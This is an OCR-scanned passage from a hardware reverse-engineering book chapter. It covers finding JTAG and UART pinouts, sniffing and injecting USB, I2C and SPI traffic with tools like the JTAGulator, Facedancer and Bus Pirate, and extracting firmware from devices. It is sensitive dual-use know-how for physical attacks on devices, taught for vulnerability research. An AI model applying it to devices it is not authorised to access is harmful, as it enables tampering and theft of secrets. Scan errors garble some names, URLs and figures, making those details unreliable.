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PC or SPI bus is specific to whatever you are attempting to target. Read more 
on how to spy on these busses in the following sections. 


Finding JTAG Pinouts 


Finding JTAG pinouts can be daunting. As described in great detail earlier, 
the pinouts for JTAG Serial Wire Debugging (SWD) depend on the manufac- 
turer of the target device. Looking at standard JTAG headers, like those used 
in development kits and evaluation kits, it is clear that there can be many pin 
configurations. Figure 13-25 shows the most common headers. 

If there are so many possibilities in controlled environments like these, then 
what can you expect from devices in the wild? 

Thankfully, as mentioned earlier, the reality is that for JTAG SWD there are 
only a few pins that are actually needed to perform basic debugger functional- 
ity. Again, those pins are the following: 


m= TDO: Test Data Out 

m TDI: Test Data In 

m= TMS: Test Mode Select 
m= TCK: Test Clock 

m TRST: Test Reset 


ARM 10-PIN Interface ST 14-PIN Interface OCDS 16-PIN Interface ARM 20-PIN Interface 
WEN 1| o o |2 /TRST TMS 1| a =a |2 VCC (optional) vcc 1] = = |2 VCC (optional) 

vec 1l oo |2 TMS GND 3| o o |4 NC TDO 3) o o |4 GND TRST 3| o o |4 GND 

GND 3' oo |4 TCLK TDI 5| o o |6 TSTAT CPUCLK 5| o o |6 GND TDI 5| o = |6 GND 

GND 5 oo |6 TDO vcc 7f o o |8 /RST TDI 7} o o |8 RESET TMS 7| o o |8 GND 

RICK 7); oo |8 TDI TMS 9] o o | 10 GND TRST of o o | 10 BRKOUT TCLK 9J o o |10 GND 

GND 9} oo |10 RESET Tetk11| o o | 12 GND TCLK 11| o o | 12 GND arck 114 o o |12 GND 

TDO 13| o o |14 MERR BRKIN 13| o o |14 OCDSE TD0 13| o o |14 GND 

TRAP 15| o o |16 GND RESET 15] o o |16 GND 

NC 17| o o | 18 GND 

N/C19| o o | 20 GND 


Figure 13-25: Common JTAG header pinouts 


In reality, even TRST is optional as it’s only used to reset the target device. 

When approaching a new device, figuring out which pins from a block of 
unlabeled pinouts is merely a guessing game. There are some heuristics reverse 
engineers could apply to find pins like the clock pin. A regular square wave, like 
those we discussed in the section “Finding UART Pinouts,” would reveal that 
this was TCK. However, this process can be very time consuming to perform 
manually, taking days, if not weeks, depending on the target. This is due to the 
need to try such a large number of possible combinations. 
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Recently, however, hacker/reverse engineer/developer Joe Grand created an 
open source hardware device called the JTAGulator. It allows a reverse engineer 
to easily iterate through all possible pinouts and thusly brute-force JTAG pinouts 
blindly! The schematics, bill of materials (BOM), and firmware required for cre- 
ating your own device are completely open and downloadable from Joe Grand’s 
website at www. grandideastudio.com/portfolio/jtagul ator. Further, youcan 
purchase fully assembled and operational units, such as the JTAGulator shown 
in Figure 13-26 from the Parallax website at www. paral | ax. com/product/ 32115. 


Input protection 
Target I/F (24 channels) Level translation Status 
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Figure 13-26: JTAGulator 


With the JTAGulator, you first connect all the questionable pins to screw- 
down terminals or headers on the JTAGulator. Make sure that at least one pin 
from the target’s ground plane connects the ground (GND) on the JTAGulator. 
The JTAGulator is USB bus powered. Connecting to the device is simple using 
a standard terminal program like PuTTY, GNU Screen, or Minicom. 


[s7ephen@xip ~]$ Is /dev/*serial * 
/dev/cu.usbserial-A901KKFM /dev/tty.usbserial-A901KKFM 
[s7ephen@xip ~]$ screen /dev/tty.usbserial-A9O1KKFM 115200 


When connected to the device, you are greeted with a friendly interactive 
CLI that displays the creator and firmware version: 


}TAGulator 1.1 
Designed by Joe Grand [j oe@grandideastudio. com] 
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TAG Commands: 

dentify JTAG pinout (1 DCODE Scan) 
B dentify JTAG pinout (BYPASS Scan) 
D Get Device ID(s) 

T Test BYPASS (TDI to TDO) 


UART Commands: 
U dentify UART pinout 
P UART pass through 


General Commands: 

V Set target system voltage (1.2V to 3.3V) 
R Read all channels (input) 

W Write all channels (output) 

H Print available commands 


Press the H key to display interactive help. 


kee As of firmware version 1.1, the JTAGulator does not echo key presses, so 
you'll need to turn on Local Echo in your terminal program if you use that version. 


Joe Grand has posted videos and documentation on the web in which he uses 
the JTAGulator to brute force the JTAG pinouts of a Blackberry 7290 cellular 
phone. Still, any device with JTAG pins can be targeted with the JTAGulator. 
For demonstrative purposes, we chose an Android-based HTC Dream and a 
Luminary Micro LM3S8962 ARM Evaluation Board. To interface with the (very 
difficult to reach) JTAG pins of an HTC Dream we purchased a special adapter 
from Multi-COM, a Polish company that makes debug cables, adapters, and 
other low-level devices for mobile phones. After all your suspected pins are 
connected from the target to the JTAGulator, you select a target voltage, which 
is the voltage that the device uses for operating the JTAG pins. You can either 
guess the voltage or find it in the specifications of your target processor. The 
standard for most chips is to operate at 3.3 volts. The V command enables you 
to set this parameter: 


Current target voltage: Undefined 
Enter new target voltage (1.2 - 3.3, 0 for off): 3.3 
New target voltage set 


When that is done, it is quickest to begin with an IDCODE scan because it 
takes less time to perform than a BYPASS (Boundary Check) scan. IDCODE 
scans are written into the JTAG SWD standard as a means for a JTAG slave (in 
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this case the target device/processor) to quickly identify itself to a JTAG master 
(in this case our JTAGulator). 

The JTAGulator quickly iterates through the possible pin combinations initiating 
this rudimentary communication. If the JTAGulator gets a response, it records 
what pin configurations yielded a response from the device. Consequently, it 
is able to determine which pins provide which JTAG functions. 

To perform this against an HTC Dream, initiate an IDCODE scan using the | 
command. Tell the JTAGulator which of its pins we connected with suspected 
JTAG pins: 


Enter number of channels to use (3 - 24): 19 
Ensure connections are on CH19..CHO. 

Possible permutations: 6840 

Press spacebar to begin (any other key to abort)... 
TAGul ating! Press any key to abort... 


TDI: N/A 
TDO: 4 
TCK: 7 
TMS: 5 


DCODE scan complete! 


The JTAGulator then displays all the possible combinations of pinouts it will try 
and initiates brute forcing at your command. Almost instantly it gets responses, 
identifying which pin configurations yielded IDCODE scan responses. You can 
now connect these corresponding pins into your J-Link or other JTAG debugger 
and begin debugging the target device! 


Connecting to Custom UARTs 


Many cell phones, including Android devices, expose some form of UART 
through the use of a nonstandard cable. These cables are often called jigs. The 
name comes from metalworking and woodworking, where it means a custom 
tool crafted to help complete a task. You can find more information on jigs for 
Samsung devices, including the Galaxy Nexus, in the XDA-Developers forum 
athttp://forum. xda-developers.com/showt hread. php?t =1402286. More 
information on building a UART cable for the Nexus 4 which uses the device’s 
headphone jack, is atht tp: //blog.accuvantl abs. com/blog/j dryan/ buil ding- 

nexus-4-uart-debug- cable. Using these custom cables enables access to UART, 
which can also be used to achieve interactive kernel debugging as shown in 
Chapter 10. 
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Identifying Components 


In previous sections there was mention of using specification sheets on target 
processors and devices to obtain information, but little mention was made 
regarding how you might go about acquiring these specifications. Virtually 
every IC (integrated circuit) chip generally has alphanumeric strings printed 
on the top surface. If you are interested, you can find many Internet resources 
that give excruciating detail about the format of those strings. The important 
thing to you as a reverse engineer or vulnerability researcher is that using a 
search engine enables you to quickly get information about what a chip does. 

Searching for components on the Internet generally returns the manufacturer’s 
website or the datasheets of large distributors, such as Digi-Key and Mouser 
Electronics. The websites of the distributors are quite useful because they gener- 
ally summarize what the component is and the purpose it serves. Further, they 
often provide the datasheets for the products they distribute. 


Getting Specifications 


Although the general description of a component is useful for quickly deter- 
mining its purpose on a PCB, sometimes you need a bit more information, such 
as the placement and location of important pins. For example, many PCBs will 
(for debugging purposes) connect a pin from an IC to an open hole. These open 
holes are called test points. 

As an aside, test points are generally just that: small holes in the PCB that 
give an engineer test access to that line. Test points or test pads are the most com- 
mon ways to expose lines. However, they are not as convenient as pin headers 
protruding from the board. In earlier examples, we connected to unknown pins 
on a PCB via these overt pin headers. Hardware hacker Travis Goodspeed’s 
technique for interfacing with these pins is rather novel. He uses hypodermic 
syringes, which are extremely sharp and conductive pieces of metal (the syringe) 
connected to an easy to manipulate handle (the plunger). An example of this 
technique in action is shown in Figure 13-27. 

Using this technique you can get precise access to a test pad or test point. 
You can clip your probes or devices to the metal of the syringe instead of cum- 
bersomely soldering to test points that are often close together or otherwise in 
space-constrained positions. 

Nonetheless, identifying the test points around a processor or IC can be a 
good first start. However, when tracing these connections back to pins on an 
IC, you need to know what those pins on the chip are. Pulling the specification 
sheets for an IC helps identify those pins. 

In specification sheets, generally there are diagrams of the basic chip layout. 
In the event that there aren't, ICs generally have identifying notches or cut 
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corners that identify which pin is pin 1 or pin 0. Figure 13-28 shows a few dif- 
ferent possibilities. 


Hypodermic 
Syringe 


Clock Pin 


SPI data pins as 
“Test Points” 


Figure 13-27: Goodspeed’s syringe technique 


Cut-Off Corner Spot Cut-Off Corner 


POFP/MQFP 


Dood eo ooo eee 
ALL VIEWED FROM ABOVE 17 32 


Figure 13-28: Finding pin 1 


Difficulty Identifying Components 


There are some cases when identifying components on a PCB can be difficult. 
In some cases, vendors cover the chip in epoxy or remove the silkscreen print- 
ing. In rare cases, some manufacturers—specifically CPU or microprocessor 
manufacturers—print “SECRET” or a project code name on an IC. Thankfully, 
these cases are very rare and seldom seen in consumer electronics. 
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Package on Package 


One common obfuscation technique is something referred to in the industry as 
Package on Package (PoP) configurations. These are generally used by manu- 
facturers to sandwich components together to save real-estate space on the 
PCB. Instead of positioning a component adjacent to a processor on the PCB 
and running interface lines to it, the manufacturers instead build vertically and 
put the component on top of the CPU. They then sell it as a package that can be 
purchased in different configurations by the device manufacturer. Figure 13-29 
illustrates one potential PoP configuration. 


Flash Memory SDRAM 


Figure 13-29: Package on Package 


This practice is most commonly used (in our experience) with microprocessors 
and memory. Instead of putting a bank of flash memory horizontally adjacent 
to a CPU, some manufacturers use a PoP configuration. In this case, the only 
visible serial number is that of the memory atop the processor. In these cases, 
doing an Internet search for that serial number does not yield the specifications 
for what you'd expect (the microprocessor). 

The solution to this can depend on the device. Sometimes the manufacturer 
of the visible device is the same as the manufacturer for the device underneath 
it. Sometimes a specification sheet for the top device yields a number of com- 
patible devices that could be packaged with it. There is no one solution in this 
case, and it takes some sleuthing to find the name of the hidden device. In some 
cases, you can find third-party information — such as details about tear-downs 
performed by other technology enthusiasts — that can yield information for 
common consumer devices. 
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Intercepting, Monitoring, and Injecting Data 


Intercepting data or observing the device under its normal operating conditions 
is a staple of vulnerability research for both software and hardware. Ultimately 
the goal is to observe data streams that you can either corrupt, tamper with, 
malform, or play back to affect some vulnerability in the target. Hardware 
vulnerability research is no different. 

In fact, in most cases these kinds of attacks are more fruitful in embedded 
systems as most firmware developers or embedded developers assume that the 
hardware barrier to entry is too high. However, it’s common that the firmware 
or embedded developer doesn’t even conceive of the data being malformed as 
he often writes the software on both sides of the conversation (be it a driver or 
another component). Frequently no care is taken to sanity-check input values. 
This is often an oversight or merely a speed optimization. 

This section briefly describes some of the tools that can be used to observe 
data on various communications lines found in embedded devices. First, it 
covers methods used for USB, because it is often exposed externally. Then the 
discussion turns to techniques for monitoring the less often exposed I’C, SPI, 
and UART communications. 


USB 


USB is perhaps the most common device interface around. It is used in virtu- 
ally every mobile device and embedded device. Every Android device has an 
exposed USB port. Perhaps because of its ubiquity, it is also very misunderstood. 
The USB protocol is quite complex; so for the purposes of brevity this section 
only delves into some high-level parts of it. 

An outstanding resource for dissecting and understanding the USB protocol 
is USB Complete: The Developer's Guide by Jan Axelson. Even if you don’t intend 
to understand USB in its entirety, this publication is highly recommended if 
only for the first few illuminating chapters. The first few chapters succinctly 
introduce you to the different facets of USB, such as the transfer modes, versions, 
and speeds. Due to the way we often use USB as a point-to-point interface, we 
lose sight of the fact that USB is actually a network with a multitude of devices 
and hosts able to communicate along the same bus. An electronic version of the 
book will make searching much easier should you choose to use it as a resource 
later during your research. 

With this book as a reference, you can comfortably begin dissecting or analyz- 
ing USB traffic. But what tools can you use to observe USB devices in the wild? 
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Sniffing USB 


There are a number of devices available on the market that you can use as USB 
debuggers or protocol analyzers. Perhaps the best of them all are those made by 
Total Phase. Total Phase manufactures a number of wire-line protocol analyz- 
ers, including ones for SPI, CAN, PC, and more. While we will discuss these 
later, Total Phase’s USB analyzers are the best on the market. Total Phase makes 
several USB protocol analyzers at several different price points. All their devices 
(including the non-USB analyzers) use a common software suite called Total 
Phase Data Center. Each device varies in price and capabilities, with the main 
differences in capability being the speed of the USB bus that it can analyze. The 
more expensive devices can do fully passive monitoring of USB SuperSpeed 3.0 
devices; the middle-tier devices can monitor USB 2.0; and the least expensive 
devices are only capable of monitoring USB 1.0. 

At a high-level, the USB specification makes a distinction between things as 
either USB hosts or devices. This distinction is made within the USB controllers. 
USB hosts generally consist of larger devices such as desktop computers and 
laptops. USB devices are generally smaller devices — thumb drives, external 
hard-drives, or mobile phones, for example. The difference between hosts and 
devices becomes increasingly relevant in later sections. The Total Phase ana- 
lyzers sit in-line between the USB host and USB device to passively spy on the 
communication between the two. 

The Total Phase Data Center application controls the Total Phase analyzer 
hardware via a USB cable. The user interface for the Data Center application is 
presented in Figure 13-30. 
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Figure 13-30: Total Phase user interface 
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This application is functionally equivalent to the well-known open source 
Wireshark network monitoring tool, but it’s for USB. It enables you to record and 
view the protocol conversation, as well as dissect it and analyze it ina number 
of ways. Total Phase also exports an application programming interface (API) 
that enables you to interact directly with their devices or software to perform 
captures, receive callbacks/triggers, and passively parse or manipulate data 
from the bus. 

In addition to the power of all this, Data Center also includes many other 
features, such as the ability to add comments in the data stream, online help 
for references to USB protocol lingo, and amazingly useful visualization tools 
for tracking and analyzing USB data as it flies across the bus. One such tool is 
Block View, which enables you to view protocol data visualized in the protocol 
packet hierarchy of the USB protocol. Block View is shown in Figure 13-31. 
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Figure 13-31: Total Phase Block View 


For passively monitoring data on a USB bus, Total Phase takes the cake. It 
does virtually everything you could want to do with data you observe for any 
protocol. However, when the time comes that you need to actively interface with 
USB devices, the Total Phase tools are simply not designed to do that. They do 
not do traffic replay or packet injection of any kind. 

Depending on your target, you can go about this in several ways. The main 
way you choose to go about actively replaying or interfacing with USB devices 
at a low-level USB protocol level depends on your target and desired goal. All 
of these differences are rooted in whether you want to interface with the target 
as a USB host or a USB device. There are different ways to go about both. 
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Interfacing with USB Devices as a USB Host 


Perhaps the easiest way to go about interfacing with a target is as a USB host. 
If your target designates itself as a USB device (which can be observed with 
passive monitoring using a tool like the Total Phase) then you can use | i busb 
to write custom code to speak to the device. 

li busb isan open source library that gives the developer access to the USB- 
level protocol communications as a USB host. Instead of opening a raw USB 
device (via the/ dev file system, for example), | i bus b provides wrappers for basic 
USB communication. There are a number of bindings for | i busb for common 
languages like Python and Ruby with varying levels of support across several 
different versions of | i busb. 

There are quite a few examples available on the Internet of people using 
PyUSB or high-level languages to communicate with devices such as the Xbox 
Kinect, human interface devices (or HIDs, such as keyboards and mice), and 
more. Should you choose to go that route, | i bus b is popular enough that you 
can generally search for and find answers to simple questions. 


Interfacing with USB Hosts as a USB Device 


In contrast to interfacing with USB devices, interfacing with USB hosts as a device 
is a much more complex issue. Because USB controllers declare themselves as 
either devices or hosts, you cannot easily tell the USB controller in your laptop or 
desktop computer to simply pretend to be a USB device. Instead, you need some 
form of intermediary hardware. For many years, devices that performed this 
function were virtually nonexistent. Then, several years ago, Travis Goodspeed 
unveiled an open source hardware device he called the Facedancer. The PCB 
layout of version 2.0 of the Facedancer appears in Figure 13-32. This device uses 
special firmware for the embedded MSP430 processor to accept data from a USB 
host and proxy it to another USB host as a device. 

Unfortunately, version 2.0 of Facedancer had some simple circuit errors that 
were corrected by Ryan M. Speers. Travis Goodspeed has since deprecated the 
Facedancer20 design and with Speer’s fixes released the Facedancer21. 

The Facedancer device is fully open source and the code repository for the 
device includes Python libraries that speak directly to the hardware via USB. 
Developers can then use those Python libraries to write programs that speak 
to other USB hosts (via the Facedancer) as if they were USB devices. 

The Facedancer code includes several examples out of the box. One such 
example is an HID (keyboard) that when plugged into a victim’s computer 
will type messages to the victim’s screen as if she were using a USB keyboard. 
Another example is a mass storage emulation, which allows a developer to 
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mount (albeit slowly) a disk image (or any file) from the controlling computer 
onto a victim’s computer as if it were a USB flash drive. 


Figure 13-32: Facedancer v2.0 


The Facedancer started off as an electronics hobbyist project. Travis Goodspeed 
had fabricated the PCB, but because assembly is a very expensive task to perform 
in bulk, it was up to the purchaser to acquire all the parts and solder it together. 
However, at the time of publishing, the INT3.CC website at htt p://int3.cc/ 
sells fully assembled Facedancer21 units. 

There are other devices that have since released that assist with low-level 
USB development in the same way as the Facedancer. One such device is called 
SuperMUTT. It was created out of collaboration between VIALabs and Microsoft. 
The device is intended to work with the Microsoft USB Test Tool (MUTT, hence 
the name of the device). It claims to be able to simulate any device traffic on the 
bus, and is apparently the preferred tool of USB developers. 

Whichever device you choose, it is now possible to programmatically simulate 
a USB device where previously it required obscure hardware tools or custom 
hardware development. 


I2C, SPI, and UART Serial Interfaces 


Earlier in the chapter, we briefly discussed I?C, SPI, and UART, describing some 
of the ways that they are commonly used in circuits. °C and SPI are generally 
used for intra-circuit communication — that is, communication between ICs and 
components in a system. In contrast, UART is generally used to interface with 
users (interactively or as a debug interface) or larger peripherals such as modems. 
But how might you intercept traffic on these busses or inject data into them? 
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Sniffing PC, SPI, and UART 


Earlier, when detailing how to find UART pinouts, we introduced the use of 
a logic analyzer to record traffic on the bus. We mentioned that tools like the 
Saleae have software filters that can be used to intelligently guess what serial 
protocol is being observed. In the earlier example, a UART analyzer was used to 
find and decode the data output by mysterious pins exposed inside a Broadcom 
cable modem. 

The Saleae performs analysis for I?C and SPI serial communications in much 
the same way. However, there are other tools that can be used to observe traffic 
specifically on I?C and SPI ports. 

Total Phase makes a relatively low cost USB-controlled device called the Beagle 
IPC that can observe and analyze [°C and SPI data. The Beagle uses the Data 
Center application that was discussed earlier in this chapter in the “Sniffing 
USB” section. The Data Center interface is more suited to protocol analysis than 
that the interface Saleae Logic Analyzer, which simply observes square waves 
and guesses at protocols. 

In Figure 13-33, the Total Phase Beagle was used to sniff the I’C pins of a 
VGA cable. Specifically, we intercepted the Extended Display Identification Data 
(EDID) protocol exchange that happens between a video display and a video 
card. In this case, the EDID data was intercepted as a monitor was plugged into 
a computer via a custom-made video tap, which enabled us to access all pins in 
a VGA cable while it was in use between a monitor and computer. 
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Figure 13-33: Total Phase Beagle DVI cable 
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Like UART, SPI and [°C can run at various speeds, so it is important that you 
attempt to decode at the correct baud rate. Both the Saleae and Total Phase can 
guess the baud rate pretty accurately using the clock pins. However, there are 
some small differences to note. 

PC, unlike UART, is used to network multiple components that might live 
on a PCB. Much like JTAG, each PC device declares itself as either a master or 
a slave. Each device connected to the ’C bus (when active) changes the voltage 
on the overall I’C loop because it consumes the voltage causing an overall volt- 
age drop on the line. When all devices in the I?C chain are inactive, they act as 
if they are disconnected from the circuit. To keep the voltage draw on the IPC 
lines, ?C requires a pull-up resistor on the clock and data pins to keep the volt- 
age up even though a component in the chain is inactive. A “pull-up” resistor 
does exactly that; it “pulls” the voltage up to the expected levels. 

As you might imagine, connecting a probe or analysis device (such as the 
Beagle) to an PC bus might also change the voltage on the line. Consequently, 
when connecting an analysis tool to a line, you might need a pull-up resistor to 
pull the voltage up to the correct level. Fortunately, many I’C analysis tools take 
this into consideration and internally have pull-up resistors you can enable or 
disable with software switches. This feature exists in the Beagle analysis tools 
as well as the Bus Pirate, which is covered in the next section. 


Talking to PC, SPI, and UART devices 


So how might you begin to interactively or programmatically speak to ’C, SPI, 
and UART devices? Perhaps the lowest cost method for this is to use a device 
called the Bus Pirate, which is shown in Figure 13-34. 


Figure 13-34: Bus Pirate v3 
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The Bus Pirate started off as a hobbyist device on the website Hack-A-Day 
(http: //hackaday. com/ ), but quickly proved to be widely useful outside of the 
hobbyist community. It is extremely low cost, and you can buy it from a number 
of online retailers for around $30. 

Much like the JTAGulator mentioned earlier, the Bus Pirate is a USB 
device that has a helpful CLI. You can access it using any terminal emulation 
program — such as PuTTY, Minicom, or GNU Screen — via a USB cable on a 
host computer. The following excerpt shows the help screen that can be accessed 
using the ? command: 

[s7ephen@xip ~]$ Is /dev/*serial* 


/dev/cu.usbserial-A10139BG [dev/tty.usbserial-A10139BG 
[s7ephen@xip ~]$ screen /dev/ tty. usbserial-A1l0139BG 115200Hi Z> 


Hi Z>? 
General Protocol interaction 
? This help (0) List current macros 
=X/ |X Converts X/reverse X (x) Macro x 
~ Selftest [ Start 
# Reset ] Stop 
$ Jump to bootloader { Start with read 
&/% Delay 1 us/ms } Stop 
a/ A/ @ AUXPIN (low/ HI / READ) "abc" Send string 
b Set baudrate 123 
c/C AUX assignment (aux/ CS) 0x123 
d/ D Measure ADC (once/ CONT. ) 0b110 Send value 
Measure frequency j Read 
g/S Generate PWM/ Servo I CLK hi 
h Commandhi story \ CLK lo 
i Versioninfo/statusinfo ü CLK tick 
IL Bitorder (msb/ LSB) - DAT hi 
Change mode p DAT lo 
0 Set output type ; DAT read 
p/P Pullup resistors (off/ ON) | Bit read 
S Script engine : Repeat e.g. r:10 
v Show volts/states i Bits to read/write e.g. 0x55.2 
w W PSU (off/0ON) <x>/ <x= >| <0> Usermacro x/assign x/list all 
Hi Z> 


You can connect the Bus Pirate to the target pins of your SPI, I’C, or UART 
bus using a convenient bundle of probes that plug directly into the Bus Pirate, 
as shown in Figure 13-35. 

Unlike the JTAGulator, which guesses pinouts, the Bus Pirate probes need 
to be connected to the target bus in specific configurations depending on what 
you are targeting. You can use probe-color-coded Bus Pirate cheat sheets that 
are widely available on the Internet to make the Bus Pirate interface with SPI, 
PC, and UART devices. For these interfaces, you need to tell the Bus Pirate some 
details, like baud rates (see Figure 13-36), which you can intelligently guess 
using tools like the Saleae discussed earlier. 
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Figure 13-35: Bus Pirate probes 
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Figure 13-36: Bus Pirate baud rate setting 


After it’s connected, the Bus Pirate enables you to interactively or passively 
communicate with the target bus. Because the Bus Pirate interface is text based, 
it does not have an easy way to observe binary data on these busses. The Bus 
Pirate displays binary data by printing byte values (for example, 0x90). This is 
not optimal for interacting with binary data streams. In many cases, people 
have written their own software using libraries like PySerial to control the Bus 
Pirate, receive its ASCII data stream, and convert the bytes they care about back 
to their literal byte values. 
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To fill this gap, Travis Goodspeed developed the GoodFET, which acts as a 
Python API-controlled Bus Pirate. It is (unlike the Facedancer21) available fully 
assembled from a number of retailers. Using the GoodFET, you can program- 
matically interface with the busses you need to receive or transmit binary data 
outside the range of ASCII-printable characters. 


Boot Loaders 


After you have interactive connectivity to a device, the first thing you may 
encounter when the device is reset is messages from the boot loader. Many boot 
loaders, such as Das U-Boot or U-Boot for short, allow you a small window of 
time to press a key to enter an interactive boot loader menu. Figure 13-37 shows 
a screenshot of such a prompt in U-Boot. 


Figure 13-37: U-Boot boot message 
This case alone can often lead to complete compromise of a device because 
the boot loaders often provide a plethora of functionality such as the following: 


= Reading or writing to flash memory 
m= Booting from the network 
m Upgrading or accepting new firmware via serial port 


m Partitioning or manipulating flash file systems 


Figure 13-38 shows the full extent of the commands provided by a typical 
U-Boot deployment. 
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Many devices with accessible UART that make use of a boot loader like U-Boot 
will often let you interactively drop into a session like this. If the manufacturer 
did not think to disable UART, generally it also leaves U-Boot exposed. 


anA Terminal — vim — 91x40 


Figure 13-38: UBoot UART session 


Stealing Secrets and Firmware 


Heretofore, we have discussed only methods of interfacing with and observing 
data on communication paths between components or devices. Perhaps using 
all the previously mentioned techniques you begin fuzzing and observing 
exceptions or crashes. Or perhaps you don’t want to fuzz and simply want to 
import a binary image into tools like (Interactive Disassembler) IDA to reverse 
engineer and audit for vulnerabilities. 

But how do you access data embedded in other ways? 


Accessing Firmware Unobtrusively 


There are many cases in which you can access and obtain firmware images 
from a device with fairly simple nondestructive techniques. The first method 
relies entirely on the kind of storage a device uses. In some rare cases, instead 
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of a firmware image being stored to NAND or some other flash memory, it can 
be squirreled away (often for backup) in Electrically Erasable Programmable 
Read-Only Memory (EEPROM). 


SPI EEPROM 


Much like the SPI devices mentioned earlier in this chapter (accelerometers and 
temperature sensors, for example), SPI EEPROM makes use of SPI. Where other 
types of memory use custom interfaces and “address lines” to fetch and store 
data, SPI EEPROM uses a simple serial line to read and write data. The way 
these kinds of storage devices work is simple. An address is written to the SPI 
or IC bus (for example, 0x90) and the EEPROM device responds with the data 
that is at that location. Figure 13-39 is a screenshot of the Total Phase Beagle 
observing a device reading and writing from an ?C EEPROM. 


@ Untitled - Total Phase Data Center Ore 
dit A ze e Help Command Line 
3 mA 7 rs j 8> lens i2c 
280.9 KB M > 
PRPA BEPA B o HE000| BBE || en set to i2. 
Index m:s.ms.us Dur Len Er S/P Addr Record Data ag o> rm 
34  0:01.413.376 247 us 1B SP 50 @ Read Transaction 6D* E a ail 
35 0:01.414.041 363us 2B SP 50 \\ Write Transaction 00 11 Cannot execute action while a capture is 
36 001.414.417 247 us 1B SP 50 @ Read Transaction 20* 11> stop 
37 0:01.415.082 357 us 2B SP 50 \ Write Transaction 00 12 Capture stopped. 
38  0:01.415.452 247us 1B SP 50 @ Read Transaction 74* 12> clear 
39  0:01.416.122 357 us 2B SP 50 \\ Write Transaction 00 13 canine ae diacanied. 
40  0:01.416.493 247 us 1B SP 50 © Read Transaction 68* E 
41 0:01.417.158 357 us 2B SP 50 S Write Transaction 00 14 pami : 
42 0:01.417.528 247 us 1B SP 50 ‘© Read Transaction 65* Capture started. 
43 0:01.418.203 357 us 2B SP 50 \ Write Transaction 00 15 15> stop 
44 0:01.418.573 247 us 1B sP 50 @ Read Transaction 20* Capture stopped. 
45 0:01.419.243 357us 2B SP 50 \\ Write Transaction 00 16 gg 26> clear 
‘| m r Unsaved data discarded. 
— 17> clear (True) 
[etaz] Q uveseard oc H) 60E) (©) E)E] | sutter crearea. 
No filter: 1683 records. Protocol Lens: [120 ~) ~ |} |18> run 
unken Capture started. 
[Details @ x| | 19> stop 
(oe a a er a, ls OE Sn E ANA Capture stopped. 
oxo000 62 20> clear 
Unsaved data discarded. 
21> clear (True) 
Buffer cleared. 
22> run 
this is data from the eeprom Capture started. 
this is data from the eeprom 
this is data from the eeprom 


this is data from the eeprom 
Data | Timing this is data from the eeprom 


SN: 1095-676367 HW: 1.00 FW: 4.01 I2C 100ns 0.000Kbps EN 


Figure 13-39: Total Phase Beagle I?C EEPROM 


IntheTransaction Vi ew near the top of the window you can clearly see that 
each Write Transaction is followed by aRead Transaction. The CPU wrote 
the value 0x0013 to the I?C bus, and the ?C EEPROM responded with the value 
at that location, 0x68. In this way, reading these types of EEPROM is trivial. You 
can spot these types of EEPROM simply by doing an Internet search for their 
serial numbers. 
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Should you want to do more than observe a CPU make use of this kind of 
EEPROM, Total Phase Data Center has additional functionality for reading data 
directly from SPI or IC EEPROM automatically. Using this functionality, you 
can reconstruct the binary data as a file on your local file system. You could 
also conceivably use the Bus Pirate or GoodFET to perform the same function. 


MicroSD and SD Cards for Firmware Image Storage 


Some devices take firmware upgrades or store firmware images on MicroSD or 
SD cards. In the case where those storage devices make use of a mountable file 
system, it is merely a matter of unplugging and mounting the device in your 
analysis computer. In some cases, embedded developers write the data raw, or 
in their own format, to the SD cards. Remembering that MicroSD and SD cards 
are inherently SPI, you can apply the same technique to the one described in 
the preceding section for reading and writing from an SPI EEPROM. 


JTAG and Debuggers 


You can use a JTAG debug interface or a debugger to inherently view contents 
of processor registers. In addition, you can often view the contents of memory. 
On embedded systems, specifically those executing bare metal images, this 
means that you can consequently extract firmware. This is another reason that 
gaining JTAG debugger access to a device can be extremely advantageous. Many 
tools, such as the Segger J-Link, use the JTAG functionality to reconstruct the 
firmware image on the file system of the controlling computer. Using the GDB 
server functionality for the J-Link, the GDB me mor y dump command often works 
for dumping the entire contents of memory. 


Destructively Accessing the Firmware 


There may be times where some of the previously described unobtrusive tech- 
niques are not possible. For these cases there are more obtrusive techniques. 


Removing the Chip 


Perhaps the most obtrusive and destructive technique for obtaining a firmware 
image is to physically remove the chip from the board and read it. At first glance, 
this may seem like a laborious and highly skilled technique. In reality, it is not. 

De-soldering a surface mounted device (SMD) and reading it can be quite easy 
and fun. Some people use heat guns (which are essentially hot hair dryers) to 
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simultaneously melt all solder on the connections that bind a SMD component 
to a PCB. This is very effective and straightforward method. 

Another technique is to use a product called Chip Quik. Kits, like the one 
shown in Figure 13-40, come with everything needed to apply this product. 

Chip Quik is essentially composed of a metallic alloy that has a lower melting 
temperature than traditional solder. Applying molten Chip Quik to solid/cooled 
solder transfers heat to the solder and consequently melts it. Because the Chip 
Quik stays hotter longer, this enables you enough time to remove or de-solder 
chips from PCBs. Even if you are horrible at soldering, you can effectively apply 
Chip Quik clumsily and have great success. There are many demonstration 
videos on the Internet that describe the whole process. 


Figure 13-40: A Chip Quik kit 


After the target CPU or flash chip is de-soldered from the board, then what? 
Fortunately, a company called Xeltek has built a family of useful devices that 
help with the next part: reading the chip. Xeltek offers a number of devices called 
Universal Flash Programmers; their top-of-the-line devices are in the SuperPro 
line. The SuperPro devices can essentially read and write hundreds of different 
kinds of flash memory and processors. One such product is the Xeltek SuperPro 
5000E, which is shown in Figure 13-41. 

In addition, Xeltek makes hundreds of adapters that fit all the possible formats 
and form factors that chips may take. Figure 13-42 shows some of the adapters 
for the SuperPro 5000E. 
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Figure 13-42: Xeltek SuperPro 5000E with adapters 


The Xeltek website even has a searchable database in which you can enter a 
chip serial number to find out which Xeltek adapter will fit your target chip! The 
Xeltek device itself plugs into a computer using a USB cable and the included 
software is equally as simple to use. You simply start up the application, which 
detects the adapter type you are using and asks you if you want to read it. 
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Click Read and a few minutes later there is a binary file on your file system of 
the contents of the chip! Figure 13-43 shows a screenshot of this tool in action. 

It is literally that simple to rip the firmware out of chips. Priced at several 
thousand dollars, the Xeltek devices (like the advanced Total Phase USB tools) 
may be prohibitively expensive if you don’t have a business need for them, but 
they provide an incredibly useful and simple function. 


7 
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Figure 13-43: Xeltek firmware read 


What Do You Do with a Dump? 


So maybe you have a big binary file you've managed to extract from a device 
using some of the techniques mentioned previously. What next? How do you 
know what you are looking at? Is the binary file just the firmware or is other 
data intermingled? 


Bare Metal Images 


As mentioned earlier, microcontrollers blindly execute whatever it is they are 
pointed at during boot. The specifications sheet for your target tells you exactly 
how bootstrap works within the processor (where the entry point is, initial 
register states, and so on). But maybe you just want to quickly know what you 
